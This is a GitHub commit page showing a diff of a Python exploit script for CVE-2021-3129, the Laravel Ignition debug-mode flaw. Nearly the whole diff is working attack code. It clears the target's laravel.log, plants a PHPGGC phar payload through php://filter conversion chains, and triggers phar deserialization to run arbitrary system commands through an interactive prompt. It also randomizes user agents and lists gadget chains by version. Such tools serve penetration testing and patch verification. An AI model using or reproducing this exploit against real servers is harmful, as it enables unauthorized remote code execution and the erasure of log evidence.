Skip to content

Commit

Permalink
Comments/License/Chains
Browse files Browse the repository at this point in the history
  • Loading branch information
joshuavanderpoll committed Apr 18, 2022
1 parent 5f1cbbb commit 0ab1309
Show file tree
Hide file tree
Showing 3 changed files with 832 additions and 34 deletions.
167 changes: 133 additions & 34 deletions CVE-2021-3129.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import argparse
import random
import sys

import requests
import os
Expand All @@ -8,6 +9,8 @@
import stat
import json
import pkg_resources
import re
import readline

PURPLE = '\033[95m'
CYAN = '\033[96m'
Expand All @@ -20,41 +23,55 @@
UNDERLINE = '\033[4m'
END = '\033[0m'

USER_AGENTS = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134", "Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"]
USER_AGENTS = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134",
"Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
]


class Main:
def __init__(self, host, force=False, log_path=None, useragent=False):
def __init__(self, host, force=False, log_path=None, useragent=False, chain="monolog/rce1"):
self.host = host
self.force = force
self.log_path = log_path
self.useragent = self.random_useragent() if useragent else "Python"
self.chain = chain

self.start()

def start(self):
print(DARKCYAN + f"[@] Starting exploit on \"{self.host}\"...")

# Check if vulnerable
if not self.is_vulnerable():
print(RED + "[!] Host does not seem to be vulnerable. Use parameter \"--force\" to bypass this check.")
exit()

# Ask user interaction
print(BLUE + "[•] Use \"?\" for a list of all possible actions.")
self.ask_command()

def ask_command(self):
response = input(PURPLE + "[?] Please enter a command to execute: ")
response = input(f"{PURPLE}[?] Please enter a command to execute: {END}")

response = response.lower()
if response == "?" or response == "help":
if response == "?" or response == "help": # Return list of commands
self.cmd_help()
elif response == "exit":
elif response == "exit": # Stop script
exit()
elif response == "clear_logs":
elif response == "clear_logs": # Attempt to clear laravel.log of target
self.cmd_clear_logs()
elif response[0:7] == "execute":
elif response[0:7] == "execute": # Attempt to execute system command on target
self.cmd_execute_cmd(response[8:])
elif response[0:5] == "write":
elif response[0:5] == "write": # Attempt to write to the log file of target
self.cmd_execute_write(response[6:])
else:
print(RED + f"[!] No command found named \"{response}\".")
Expand All @@ -79,25 +96,26 @@ def cmd_execute_cmd(self, cmd):
print(DARKCYAN + f"[@] Executing command \"{cmd}\"...")
payload = self.generate_payload(cmd, 16)

print(BLUE + "[@] Clearing logs...")
print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing.
if self.exploit_clear_logs().status_code != 200:
print(RED + "[!] Failed clearing logs.")
return
print(GREEN + "[√] Cleared logs.")

print(BLUE + "[@] Causing error in logs...")
print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file.
if self.exploit_cause_error().status_code != 500:
print(RED + "[!] Failed causing error.")
return
print(GREEN + "[√] Caused error in logs.")

print(BLUE + "[@] Sending payload...")
if self.exploit_request(payload, 500).status_code != 500:
if self.exploit_request(payload,
500).status_code != 500: # Step 3. Cause error with payload so payload in log file.
print(RED + "[!] Failed sending payload.")
return
print(GREEN + "[√] Sent payload.")

print(BLUE + "[@] Converting payload...")
print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file.
if (self.exploit_request(
f"php://filter/read=convert.quoted-printable-decode|"
f"convert.iconv.utf-16le.utf-8|"
Expand All @@ -107,13 +125,13 @@ def cmd_execute_cmd(self, cmd):
return
print(GREEN + "[√] Converted payload.")

exploited = self.exploit_request(f"phar://{self.log_path}", 500)
exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script.
if exploited.status_code == 500 and "cannot be empty" in exploited.text:
print(GREEN + "[√] Result:")
result = exploited.text.split("</html>")[1]
print(END + result)

print(BLUE + "[@] Clearing logs...")
print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable.
if self.exploit_clear_logs().status_code != 200:
print(RED + "[!] Failed clearing logs.")
return
Expand All @@ -123,25 +141,25 @@ def cmd_execute_write(self, text):
print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...")
payload = self.generate_write_payload(text, 16)

print(BLUE + "[@] Clearing logs...")
print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing.
if self.exploit_clear_logs().status_code != 200:
print(RED + "[!] Failed clearing logs.")
return
print(GREEN + "[√] Cleared logs.")

print(BLUE + "[@] Causing error in logs...")
print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file.
if self.exploit_cause_error().status_code != 500:
print(RED + "[!] Failed causing error.")
return
print(GREEN + "[√] Caused error in logs.")

print(BLUE + "[@] Sending payload...")
print(BLUE + "[@] Sending payload...") # Step 3. Cause error with payload so payload in log file.
if self.exploit_request(payload, 500).status_code != 500:
print(RED + "[!] Failed sending payload.")
return
print(GREEN + "[√] Sent payload.")

print(BLUE + "[@] Converting payload...")
print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file.
if (self.exploit_request(
f"php://filter/read=convert.quoted-printable-decode|"
f"convert.iconv.utf-16le.utf-8|"
Expand All @@ -151,60 +169,69 @@ def cmd_execute_write(self, text):
return
print(GREEN + "[√] Converted payload.")

def exploit_clear_logs(self) -> requests.Response:
def exploit_clear_logs(self) -> requests.Response: # Clear entire log file
return self.exploit_request(f"php://filter/read=consumed/resource={self.log_path}", 200)

def exploit_cause_error(self) -> requests.Response:
def exploit_cause_error(self) -> requests.Response: # Cause error by sending path parameter
return self.exploit_request("AA", 500)

def random_useragent(self) -> str:
def random_useragent(self) -> str: # Get random user agent from constant list
return random.choice(USER_AGENTS)

def setup_phpggc(self):
zip_path = "./master_phpggc.zip"
print(BLUE + "[@] Downloading PHPGCC from \"ambionics/phpggc\" GitHub repository...")
print(BLUE + "[@] Downloading PHPGGC from \"ambionics/phpggc\" GitHub repository...")

# Download repository zip
request = requests.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip",
verify=False, allow_redirects=True, headers={"User-Agent": self.useragent})

open(zip_path, "wb").write(request.content)

# Unzip zip
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall("./")
print(GREEN + "[√] Downloaded/extracted PHPGCC.")
print(GREEN + "[√] Downloaded/extracted PHPGGC.")

phpgcc_path = "./phpggc-master/phpggc"
phpggc_path = "./phpggc-master/phpggc"

print(BLUE + "[@] Updating PHPGCC execution rights...")
if os.path.exists(phpgcc_path):
st = os.stat(phpgcc_path)
os.chmod(phpgcc_path, st.st_mode | stat.S_IEXEC)
print(GREEN + "[√] Updated PHPGCC execution rights.")
# Setup phpggc execute permissions
print(BLUE + "[@] Updating PHPGGC execution permissions...")
if os.path.exists(phpggc_path):
st = os.stat(phpggc_path)
os.chmod(phpggc_path, st.st_mode | stat.S_IEXEC)
print(GREEN + "[√] Updated PHPGGC execution permissions.")

# Remove extracted zip file
os.unlink(zip_path)

def generate_payload(self, command: str, padding=0) -> str:
print(DARKCYAN + f"[@] Generating payload...")

# Prepare command
if '/' in command:
command = command.replace('/', '\/')
command = command.replace('\'', '\\\'')

if '\'' in command:
command = command.replace("'", "\'")

# Check PHPGGC
if not os.path.exists("./phpggc-master/phpggc"):
print(RED + "[!] Required binary PHPGGC not found.")
self.setup_phpggc()

# Build payload
os.system(
f"php -d'phar.readonly=0' ./phpggc-master/phpggc monolog/rce1 system '{command}' --phar phar -o ./tmp.phar")
f"php -d'phar.readonly=0' ./phpggc-master/phpggc {self.chain} system '{command}' --phar phar -o ./tmp.phar")

# Prepare/encode payload
payload = open("./tmp.phar", 'rb').read()
payload = base64.b64encode(payload).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
payload = 'A' * padding + payload
payload = payload.replace("\n", "") + "A"

# Delete temporary files
if os.path.exists('./tmp.phar'):
os.unlink("./tmp.phar")

Expand All @@ -214,6 +241,7 @@ def generate_payload(self, command: str, padding=0) -> str:
def generate_write_payload(self, text: str, padding=0) -> str:
print(DARKCYAN + f"[@] Generating payload...")

# Prepare/encode payload
payload = base64.b64encode(text.encode()).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
payload = 'A' * padding + payload
Expand All @@ -240,25 +268,33 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests.
print(
RED + f"[!] Exploit request returned status code {request.status_code}. Expected {expected_response}.")

# Check if host has patched vulnerability
if "runnable solutions are disabled in non-local environments" in request.text.lower():
print(RED + f"[!] Website has patched the vulnerability. Response: \"Runnable solutions are disabled in non-local environments. Please make sure `APP_ENV` is set correctly. Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"")
print(RED + f"[!] Website has patched the vulnerability. "
f"Response: \"Runnable solutions are disabled in non-local environments. "
f"Please make sure `APP_ENV` is set correctly. "
f"Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"")

return request

def is_vulnerable(self):
print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...")
request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False)

# Check vulnerable url by sending invalid GET request (only POST allowed)
if request.status_code != 405:
print(BLUE + f"[•] Host returned status code {request.status_code}. Expected 405 (Method not allowed).")
if not self.force: return False

# Check if vulnerable url contains signs of Laravel
# TODO Check more specific details
if "laravel" not in str(request.content):
print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.")
if not self.force: return False

if not self.force: print(GREEN + f"[√] Host seems vulnerable!")

# Check if log path defined in error response
print(DARKCYAN + f"[@] Searching Laravel log file path...")
found_path = self.find_log_path(content=request.content)

Expand All @@ -269,6 +305,7 @@ def is_vulnerable(self):
else:
print(BLUE + f"[•] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".")

# Check if laravel version defined in error response
laravel_version = self.find_laravel_version(content=request.text)
if laravel_version is not None:
print(BLUE + f"[•] Laravel version found: \"{DARKCYAN}{laravel_version}{BLUE}\".")
Expand All @@ -290,6 +327,7 @@ def is_vulnerable(self):
return True

def find_log_path(self, content):
# TODO Use regex search instead of split
for line in str(content).split("\\n"):
if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line:
parts_one = line.split("in file ")
Expand All @@ -307,6 +345,7 @@ def find_log_path(self, content):
return None

def find_laravel_version(self, content: str):
# TODO Use regex search instead of indexof
if "window.data = {" in content and "};\n" in content:
json_from = content.index("window.data = {") + 15
json_to = content.index("};\n") + 1
Expand All @@ -317,22 +356,82 @@ def find_laravel_version(self, content: str):
return None


def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
regex = re.compile(
r'^(?:http|ftp)s?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
r'localhost|' # localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)

return re.match(regex, url) is not None


if __name__ == "__main__":

# Credits
print(PURPLE + BOLD + "Laravel Debug Mode CVE script")
print(END + PURPLE + "[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129" + RED)
print(END + PURPLE + "[•] Using PHPGGC: https://github.com/ambionics/phpggc" + RED)

# Arguments
parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script')
parser.add_argument('--host', help='Host URL to use exploit on', required=True)
parser.add_argument('--host', help='Host URL to use exploit on', required=False)
parser.add_argument('--force', help='Force exploit without checking if vulnerable', required=False, default=False,
action='store_true')
parser.add_argument('--log', help='Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)',
required=False, default=None)
parser.add_argument('--ua', help='Randomize User-Agent for requests', required=False, default=False,
action='store_true')
parser.add_argument('--chain', help=f"Select PHPGGC chain. Use \"--chains\" parameter to view all available chains.",
required=False, default="monolog/rce1")
parser.add_argument('--chains', help='View available chains for the \"--chain\" parameter', required=False,
default=False, action='store_true')

args = parser.parse_args()

# Chains
chains = ["laravel/rce1", "laravel/rce2", "laravel/rce3", "laravel/rce4", "laravel/rce5", "laravel/rce6",
"laravel/rce7", "laravel/rce8", "monolog/rce1", "monolog/rce2", "monolog/rce3", "monolog/rce4",
"monolog/rce5", "monolog/rce6", "monolog/rce7"]
if args.chains:
print(
f"{RED}[•] Available chains (Updated: 19 April 2022):\n"
f"{YELLOW}- Laravel/RCE1 (5.4.27)\n"
f"{YELLOW}- Laravel/RCE2 (5.4.0 <= 8.6.9+)\n"
f"{YELLOW}- Laravel/RCE3 (5.5.0 <= 5.8.35)\n"
f"{YELLOW}- Laravel/RCE4 (5.4.0 <= 8.6.9+)\n"
f"{YELLOW}- Laravel/RCE5 (5.8.30)\n"
f"{YELLOW}- Laravel/RCE6 (5.5.* <= 5.8.35)\n"
f"{YELLOW}- Laravel/RCE7 (? <= 8.16.1)\n"
f"{YELLOW}- Laravel/RCE8 (7.0.0 <= 8.6.9+)\n"
f"\n"
f"{YELLOW}- Monolog/RCE1 (1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+)\n"
f"{YELLOW}- Monolog/RCE2 (1.4.1 <= 2.2.0+)\n"
f"{YELLOW}- Monolog/RCE3 (1.1.0 <= 1.10.0)\n"
f"{YELLOW}- Monolog/RCE4 (? <= 2.4.4+)\n"
f"{YELLOW}- Monolog/RCE5 (1.25 <= 2.2.0+)\n"
f"{YELLOW}- Monolog/RCE6 (1.10.0 <= 2.2.0+)\n"
f"{YELLOW}- Monolog/RCE7 (1.10.0 <= 2.2.0+)\n"
f"{RED}from: https://github.com/ambionics/phpggc#usage"
)
exit()

# Validate before scan start
if args.host is None:
print(RED + "[!] Parameter \"--host\" is required.")
exit()

if args.host[-1] != "/": args.host = args.host + "/"

if not validate_url(args.host):
print(RED + "[!] Parameter \"--host\" is invalid. Please use a valid url (e.g. https://example.com/)")
exit()

if args.chain.lower() not in chains:
print(RED + f"[!] Parameter \"--chain\" is invalid. Please check \"{sys.executable} {os.path.basename(__file__)} --chains\".")
exit()

requests.packages.urllib3.disable_warnings()
x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua)
x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain)
Loading

0 comments on commit 0ab1309

Please sign in to comment.